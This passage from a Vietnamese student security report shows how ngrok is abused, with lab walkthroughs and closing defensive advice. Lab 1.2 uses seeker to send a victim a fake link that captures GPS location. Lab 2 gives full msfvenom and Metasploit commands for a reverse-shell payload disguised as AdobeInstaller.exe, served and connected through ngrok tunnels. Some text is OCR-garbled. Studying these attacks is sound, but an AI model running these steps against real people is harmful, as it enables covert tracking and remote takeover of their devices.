26
1.3. LAB 1.2: ngrok + seeker
Giới thiệu về seeker, đây là một công cụ tạo ra một website giả mạo sử dụng tính năng của trình duyệt để lấy thơng tin về tọa độ của thiết bị. Có thể tải seeker và cài theo hướng dẫn trên GitHub: https://github.com/thewhiteh4t/seeker.git.
Để tạo một trang giả mạo bằng seeker ta thực hiện các bước như sau:
- Bước 1: Vào terminal của Kali Linux trong thư mục của seeker nhập: python3
seeker.py -t manual
- Bước 2: Các tùy chọn của seeker hiện ra nhập: 1
- Bước 3: Nhập link google drive của bạn (một link google drive bất kỳ như hình ảnh hoặc file phương tiên nào đó …) kết quả như Hình 3.11.
- Bước 4: Vào terminal của Kali Linux nhập lệnh: ngrok http 8080 (8080 là seeker dùng) ta được 2 đường dẫn như Hình 3.12.
Ta sẽ gửi 1 trong 2 đường dẫn của ngrok cho nạn nhân và nạn nhân xin cấp quyền truy cập và cho phép sử dụng GPS (Hình 3.13.) kết quả ta thu được là tọa độ của máy nạn nhân (Hình 3.14.) và có thể truy cập Google Maps để xem rõ tọa độ đó trên bản đồ (Hình
3.15).
27
Hình 3.12. Kết quả chạy lệnh ngrok http 8080
28
Hình 3.14. Thơng tin về thiết bị và tọa độ ta lấy được từ máy nạn nhân
Hình 3.15. Tọa độ của nạn nhân trên Google Map 2. LAB 2: Tấn công chiếm quyền điều khiển thiết bị từ xa. 2. LAB 2: Tấn công chiếm quyền điều khiển thiết bị từ xa.
2.1. Giới thiệu
Ngồi http tunnel của ngrok ta cũng có thể lạm dụng tcp tunnel để sử dụng chuyển tiếp cổng (Port Forwarding) nhờ đó có thể điều khiển máy nạn nhân qua Internet thay vì
29
mạng nội bộ. Bản thân http tunnel của ngrok ta cũng có thể lạm dụng để trở thành một nơi phân tán các mã độ. Trong bài LAB dưới đây ta sẽ dùng Metasploit để tạo mã độc điều khiển từ xa và dùng ngrok để phân phối chương trình này qua Internet.
2.2. Lab 2: ngrok + Metasploit Framework
Công cụ ngrok trong bài Lab này có 2 vai trị. Một là làm công cụ để phân tán mã độc đến nạn nhân. Hai là một cổng để máy nạn nhân có thể kết nối đến và kẻ tấn cơng cũng có thể kết nối đến đó để điều khiển máy nạn nhân. Để thực hiện được việc này trước hết ta phải sửa lại tệp cấu hình ở đường dẫn ~/.ngrok2/ngrok.yml như Hình 3.16.
Hình 3.16. Chụp màn hình file ~/.ngrok2/ngrok.yml
Chạy ngrok bằng lệnh ngrok start --all. Kết quả ta được 3 đường dẫn như Hình 3.17. trong đó lần lượt là các đường dẫn http đến cổng 80, https đến cổng 80 và tcp đến cổng 1234 và đường dẫn tcp có cả số hiệu cổng (trong hình là 12388).
Hình 3.17. Kết quả lệnh ngrok start --all
Tiếp đến ta cần tạo mã độc bằng lệnh sau: msfvenom -p windows/shell/reverse_tcp
LHOST=0.tcp.ngrok.io LPORT=12388 -f exe > AdobeInstaller.exe (trong đó giá trị LHOST là địa chỉ tcp của ngrok, LPORT là port tcp của ngrok và tên chương trình có thể đặt ngẫu nhiên có đi .exe trong bài Lab đặt tên là AdobeInstaller.exe)
30
Sau khi tạo xong mã độc ta chuyển vị trí của mã độc đó đến địa chỉ /var/www/html/ trên máy Kali Linux và chạy Apache bằng lệnh: service apache2 start lúc này ta đã có thể phân tán mã độc bằng đường dẫn http ở trên.
Hình 3.19. Nạn nhân tải phần mềm độc hại về qua ngrok
Tiếp tục là ta cần khởi độc Metasploit Framework và bắt đầu khai thác như sau: - Bước 1: Vào terminal của Kali Linux chạy lệnh: sudo msfconsole
- Bước 2: msf> use multi/handler - Bước 3: msf> set LHOST 0.0.0.0
- Bước 4: msf> set LPORT 1234 (chú thích: 1234 là cổng TCP trong file cấu hình) - Bước 5: msf> set payload windows/meterpreter/reverse_tcp
- Bước 6: msf> exploit
Cuối cùng là đợi cho nạn nhân chạy mã độc đã tải về kết quả như Hình 3.20.
31
Ta có thể thực hiện các lệnh shell trên máy này như điều khiển từ xa ví dụ như lệnh
screenshot (Hình 3.21 và Hình 3.22)
Hình 3.21. Thực hiện lệnh screenshot trên máy nạn nhân
32
CHƯƠNG 4: ĐÁNH GIÁ VÀ KẾT LUẬN 1. Đánh giá về cơng cụ ngrok đối với an tồn mạng 1. Đánh giá về cơng cụ ngrok đối với an tồn mạng
Mặc dù công cụ ngrok được tạo ra nhằm phục vụ cho nhu cầu phát triển các ứng dụng qua mạng nhờ các tính năng tunnel mà việc phát triển và triển khai các ứng dụng demo trở nên dễ dàng và giảm thiểu chi phí hơn. Tuy nhiên chính những tính năng của cơng cụ này đã khiến cho việc quản lý các ứng dụng chạy trên ngrok trở nên khó khăn hơn và ngrok trở thành một trong các công cụ bị tin tặc lạm dụng nhiều nhất để đưa các ứng dụng độc hại qua Internet.
Ưu điểm của ngrok khiến cho tin tặc lựa chọn:
- Sử dụng ngrok tiết kiệm chi phí: kẻ tấn cơng sẽ khơng phải bỏ tiền để có một server nhằm đưa các website giả mạo lên.
- Khó bị phát hiện: http tunnel của ngrok sẽ cho các url là random nên việc phát hiện ai là người tạo trang web giả mạo và phát tán nó đi là rất khó vì nó xuất hiện và biến mất một cách gần như là ngẫu nhiên và khó truy ngược từ địa chỉ của ngrok. - Dễ dàng đưa ứng dụng lên internet: chỉ cần một dòng lệnh là web giả mạo của kẻ xấu đã được đưa lên mạng mà khơng cần phải cấu hình lằng nhằng rắc rối so với các hosting miễn phí khác thì việc đưa website lên được internet rất khó khăn và kiểm duyệt vơ cùng gắt gao trong khi ngrok lại gần như không kiểm duyệt những gì mà người dùng đưa lên
Nhược điểm của ngrok
- URL dễ bị phát hiện giả mạo: ngrok cấp cho một đường dẫn là tên miền phụ của ngrok.io và ở trước là một dãy số hexa dài chính vì vậy người dùng có thể dễ dàng nhận ra trang web giả mạo (có thể khắc phục bằng sử dụng bản tính phí được sử dụng thêm tính năng subdomain cho ta tự thay đổi tên miền phụ thay vì dãy số hexa).
- Các trang web có tên miền phụ là ngrok.io thường bị các trình duyệt lọc gắt gao hơn so với các trang web khác điển hình như trình duyệt Chrome của google ln cảnh cáo hoặc đơi khi là chặn truy cập luôn các trang web tên miền phụ là ngrok.io điều này sẽ khiến người dùng cảnh giác hơn (Các trình duyệt khác như Microsoft Edge, Mozilla Firefox, Cốc Cốc, Opera, … thì khơng có cảnh báo gì khi truy cập)
33
Hình 4.1. Google cảnh báo các trang web có tên miền phụ là ngrok.io 2. Kết luận 2. Kết luận
So với các ứng dụng khai thác trong bộ Kali tools tuy ngrok khơng thực sự có tính năng nào phục vụ cho cơng cuộc tìm kiếm hay khai thác các lỗ hổng hay là tạo dựng trang web lừa đảo khai thác người dùng. Nhưng chính vì khả năng đưa các ứng dụng lên Internet nên bản thân ngrok là một trong các công cụ phối hợp tốt nhất với các công cụ tấn công cần kết nối mạng cục bộ để thực hiện các cuộc tấn công qua Internet và dễ dàng đưa các trang web lừa đảo từ localhost lên Internet. Khơng những vậy việc sử dụng ngrok cịn khiến cho tin tặc khó bị phát hiện hơn nên được tin tặc tin dùng để phân tán mã độc, thực hiện tấn công giá mạo, và các cuộc tấn công qua mạng Internet khác.
Với người dùng, tránh truy cập các URL lạ và tránh tải, cài đặt và chạy các phần mềm không rõ nguồn gốc và luôn phải để máy tính chạy có phần mềm chống phần mềm độc hại; cũng như để ý đường dẫn của trang web trước khi cung cấp các thông tin như các quyền truy cập phần cứng, quyền riêng tư và các thông tin nhạy cảm.
34
Với các nhà phát triển, vì ngrok là một cơng cụ giúp nhà phát triển có thể đưa các sản phẩm thử nghiệm của mình lên Internet trước khi triển khi lên máy chủ. Tuy nhiên đường dẫn của ngrok là cơng khai nên tin tặc cũng có thể tấn cơng vào máy tính của nhà phát triển nếu họ để lộ đường dẫn này vì những ứng dụng thử nghiệm thì thường cịn rất nhiều lỗ hổng có thể khai thác. Cho nên nhà phát triển cần tránh để lộ đường dẫn của ngrok và nên sử dụng cơ chế --auth để thiết lập username:password trước khi truy cập ứng dụng của mình.
35
TÀI LIỆU THAM KHẢO
[1] Kyle Kelly-Yahner, “One HTTP Request From Stardom: How Alan Shreve Built ngrok Using Go” , 2016. Truy xuất từ: https://www.twilio.com/blog/2016/02/how- alan-shreve-built-ngrok-with-go.html
[2] Alan Shreve, “ngrok – Introspected tunnels to localhost”, 2015. Truy xuất từ: https://github.com/inconshreveable/ngrok